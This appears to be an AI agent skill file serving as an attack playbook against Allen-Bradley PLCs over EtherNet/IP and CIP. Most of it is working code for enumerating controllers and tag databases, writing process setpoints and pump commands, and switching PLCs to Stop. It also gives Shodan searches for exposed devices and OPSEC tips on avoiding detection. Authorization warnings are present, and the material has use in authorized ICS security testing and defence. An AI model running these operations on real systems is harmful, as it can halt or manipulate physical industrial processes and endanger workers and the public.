- name
- enip-cip
- description
- EtherNet/IP + CIP (TCP 44818 / UDP 2222) attack playbook — List Identity broadcast, pylogix tag-database dump, tag read/write on Allen-Bradley ControlLogix/CompactLogix, CIP Forward Open, PLC mode change (Stop/Run), and historical Rockwell auth-bypass CVEs. North American ICS dominant protocol.
- allowed-tools
- Bash Read Write
- metadata
- {"when_to_use":"ethernet/ip ethernetip enip cip 44818 2222 allen-bradley rockwell controllogix compactlogix pylogix cpppo plc tag list-identity forward-open","subdomain":"ics-ot","tags":"enip, cip, ethernet-ip, plc, ics, ot, allen-bradley, rockwell","mitre_attack":"T0855, T0836, T0816, T0814"}
# EtherNet/IP + CIP Attack Playbook (TCP 44818 / UDP 2222)
EtherNet/IP is the dominant North American ICS protocol — every Allen-Bradley ControlLogix, CompactLogix, and MicroLogix ships with it enabled by default. CIP (Common Industrial Protocol) rides on top. Most deployments have no authentication at the CIP layer: if you can reach TCP 44818, you can read the full tag database and, in scope, write to process variables or change PLC execution state.
## SAFETY FIRST
CIP write operations (`Write()` on tags) and mode-change commands (`Stop`, `Run`, `Reset`) affect physical process equipment. A mode-change to `Stop` immediately halts the PLC program — the controlled process (conveyor, motor, pump, valve) goes to its fail-safe state or de-energizes. **Confirm written scope authorization for any write/control-class operation. Read and enumerate operations (tag list, controller info, identity) are safe.**
## Prerequisites
```bash
# Install pylogix (Allen-Bradley EtherNet/IP client)
pip install pylogix
# Install cpppo (Rockwell EtherNet/IP / CIP toolkit)
pip install cpppo
# nmap EtherNet/IP scripts
# Built-in: enip-info.nse (ships with Nmap >= 7.80)
nmap -p 44818 --open -sV 10.0.0.0/24
```
## Phase 1 — Discover
### UDP 2222 List Identity broadcast
UDP 2222 carries the ENIP "List Identity" command — no session, no authentication. Send a broadcast and all EtherNet/IP devices on the subnet respond with vendor, product name, serial number, firmware revision, and IP.
```bash
# Using cpppo enip command-line
python3 -m cpppo.server.enip.list_identity 10.0.0.255
# Or unicast:
python3 -m cpppo.server.enip.list_identity 10.0.0.5
# Example output:
# {'product_name': 'ControlLogix5580', 'vendor_id': 1, 'device_type': 14,
# 'product_code': 166, 'revision': {'major': 33, 'minor': 11},
# 'serial_number': '0xA1B2C3D4', 'status': 12340}
```
```bash
# nmap enip-info script (TCP 44818)
nmap -p 44818 --script enip-info 10.0.0.5
# Returns: VendorID, DeviceType, ProductCode, Revision, Serial, ProductName, State
```
```python
# pylogix PLC info — TCP 44818
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
info = comm.GetPLCTime()
print("PLC time:", info.Value)
props = comm.GetModuleProperties(0)
print("Module:", props.Value)
```
## Phase 2 — Tag database enumeration (unauthenticated on ControlLogix/CompactLogix)
ControlLogix and CompactLogix expose the entire controller tag database via CIP symbolic segment reads — no authentication required. This includes tag names, data types, dimensions, and access attributes.
```python
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Enumerate all controller-scoped tags
tags = comm.GetTagList()
print(f"[*] Found {len(tags.Value)} controller tags")
for tag in tags.Value:
print(f" {tag.TagName:<40} Type={tag.DataType:<20} Dim={tag.Dimensions}")
# Enumerate program-scoped tags (programs inside the controller)
programs = comm.GetProgramList()
for prog in programs.Value:
prog_tags = comm.GetProgramTagList(prog)
print(f"\n[*] Program '{prog}': {len(prog_tags.Value)} tags")
for tag in prog_tags.Value:
print(f" {prog}:{tag.TagName:<36} Type={tag.DataType}")
```
Tag names are often self-describing in production environments:
- `PumpStation_1.RunCmd` — pump run command coil
- `Valve_FV_101.OpenCmd` — valve open command
- `Reactor_TIC_201.SP` — temperature setpoint
- `Safety_SIL2.BypassActive` — safety interlock bypass flag
## Phase 3 — Read tags
```python
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Read a single tag
result = comm.Read("PumpStation_1.RunCmd")
print(f"PumpStation_1.RunCmd = {result.Value} (Status: {result.Status})")
# Read multiple tags in one request (efficient)
tag_list = [
"Reactor_TIC_201.SP",
"Reactor_TIC_201.PV",
"Valve_FV_101.OpenCmd",
"Safety_SIL2.BypassActive",
]
results = comm.Read(tag_list)
for r in results:
print(f" {r.TagName} = {r.Value} Status={r.Status}")
# Read array elements
array_result = comm.Read("RecipeArray[0]", 10) # read 10 elements from index 0
print("Recipe[0:10]:", array_result.Value)
```
## Phase 4 — Write tags (SAFETY GATE — write-class authorization required)
> **STOP. Confirm written scope authorization before this phase.**
> Writing process control tags may energize/de-energize actuators immediately.
```python
from pylogix import PLC
# Write a BOOL tag
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Example: write a setpoint — requires authorization
result = comm.Write("Reactor_TIC_201.SP", 85.0)
print(f"Write SP: {result.Status}")
# Example: write a BOOL control tag — requires authorization
result = comm.Write("PumpStation_1.RunCmd", 1)
print(f"Write RunCmd: {result.Status}")
```
Write status codes: `Success` = write accepted by PLC; `PathSegmentError` = bad tag name; `ServiceError` = PLC in Program mode or inhibited.
## Phase 5 — CIP mode change: Stop / Run / Reset
Mode change via CIP is a direct PLC execution-state change. Stop halts the ladder/function-block program. Reset is a cold restart.
```python
import cpppo
from cpppo.server.enip import client
# CIP explicit messaging to change PLC mode
# Rockwell ControlLogix CIP Service 0x0F (Set Attribute Single)
# Object: 0x01 (Identity Object), Instance 1, Attribute 10 (Controller State)
# Mode: 0x01 = Run, 0x02 = Program (Stop)
def set_plc_mode(ip, mode_val, port=44818):
"""
mode_val: 0x01 = Run, 0x02 = Program (effectively Stop)
Requires write-class scope authorization.
"""
operations = [
{
"method": "set_attribute_single",
"path": "@0x01/1/10",
"data": [mode_val],
}
]
with client.connector(host=ip, port=port) as conn:
for op in operations:
conn.set_attribute_single(
path=op["path"],
data=op["data"],
)
conn.collect(timeout=2)
print(f"Mode change to {mode_val:#04x} sent")
# set_plc_mode("10.0.0.5", 0x02) # Stop (Program mode) — halts PLC program
# set_plc_mode("10.0.0.5", 0x01) # Run
```
Alternatively, pylogix provides a direct wrapper:
```python
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Some pylogix versions expose:
comm.GetPLCTime() # verify connectivity first
# comm.Write("_RunMode", 0) # vendor-specific; verify tag exists first
```
## Phase 6 — Historical Rockwell auth-bypass CVEs
| CVE | Product | Description | CVSS |
|---|---|---|---|
| CVE-2021-27478 | Studio 5000 Logix Designer | Unauth remote code execution via CIP messaging | 10.0 |
| CVE-2022-1159 | Rockwell Automation FactoryTalk | Executable injection via DLL hijack path | 7.7 |
| CVE-2023-3595 | ControlLogix 1756 (firmware <= 33.011) | Path traversal in CIP service; unauthenticated firmware read/write | 9.8 |
| CVE-2023-3596 | GuardLogix 1756 | Same family — safety controller variant | 9.8 |
| CVE-2024-6242 | ControlLogix 1756 | CIP Trusted Slot mechanism bypass — pivot between chassis slots | 8.4 |
CVE-2023-3595 / 3596 (Claroty "LogiSploit") is the most relevant for live engagements — unauthenticated firmware upload/download against unpatched ControlLogix. Patch check:
```python
# Firmware version from pylogix
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
props = comm.GetModuleProperties(0)
print("Firmware:", props.Value)
# Compare against Rockwell Security Advisory RLSA-2023-0026
# Affected: < v33.012 (1756-EN2* family)
```
## Common findings
| Finding | MITRE | Impact |
|---|---|---|
| Internet-exposed EtherNet/IP (Shodan: port:44818) | T0882 | Direct PLC access from internet |
| No CIP authentication — tag list readable | T0855 | Full process variable visibility |
| Tag write accepted without auth | T0836 | Direct process manipulation |
| PLC mode change accepted (Stop) | T0816 | Halt production line |
| Flat IT/OT VLAN — office → PLC direct | T0814 | Lateral movement from compromised workstation |
| Unpatched ControlLogix (CVE-2023-3595) | T0839 | Firmware read/write, persistent implant |
| Safety PLC (GuardLogix) reachable | T0857 | Safety system manipulation |
## Evidence
```python
kg_add_node(
kind="finding",
label="EtherNet/IP unauthenticated tag access",
props={
"key": f"enip-cip-anon::{target_ip}",
"protocol": "enip-cip",
"port": 44818,
"product_name": "<ProductName>",
"firmware_revision": "<major.minor>",
"tag_count": len(tags.Value),
"writable": False, # set True only after confirmed write-scope
"source": "pylogix-taglist",
},
)
```
## ZFP (two-method evidence)
1. `pylogix GetTagList()` output showing tag count + representative tag names with data types.
2. `pylogix Read()` result for at least one process variable showing a live value (e.g., temperature, pressure, motor state).
If write testing was authorized: include `Write()` result showing `Status=Success` and a Read back confirming value change.
## OPSEC notes
- EtherNet/IP has no built-in audit log at the CIP layer. Tag reads are silent to most OT security platforms unless a Nozomi/Claroty NDR is deployed with flow-level inspection.
- High-frequency polling (e.g., reading all tags in a tight loop) is detectable as anomalous traffic volume. Space enumeration reads out.
- Mode-change commands (Stop/Program) generate an event in the PLC's event log (RSLogix Diagnostics > General Fault). This persists across power cycles.
- Shodan regularly indexes internet-facing EtherNet/IP; pre-engagement Shodan search for the target's IP space can reveal exposure level before active scanning.
- CVE-2023-3595 exploit PoC (Claroty): confirm firmware version before using; firmware write is destructive and may brick the controller.
## References
- pylogix — github.com/dmroeder/pylogix
- cpppo — github.com/pjkundert/cpppo
- ODVA EtherNet/IP and CIP Specifications — odva.org
- Claroty Team82 "LogiSploit" (CVE-2023-3595/3596) — claroty.com/team82
- CVE-2024-6242 Rockwell Trusted Slot bypass — icsadvisory.ot-security.io
- ICS-CERT Rockwell advisories — cisa.gov/uscert/ics/advisories
- "Exploiting Industrial Control Systems" — Reid Wightman, S4 Conference
- Shodan dork reference — https://www.shodan.io/search?query=port%3A44818
在 GitHub 查看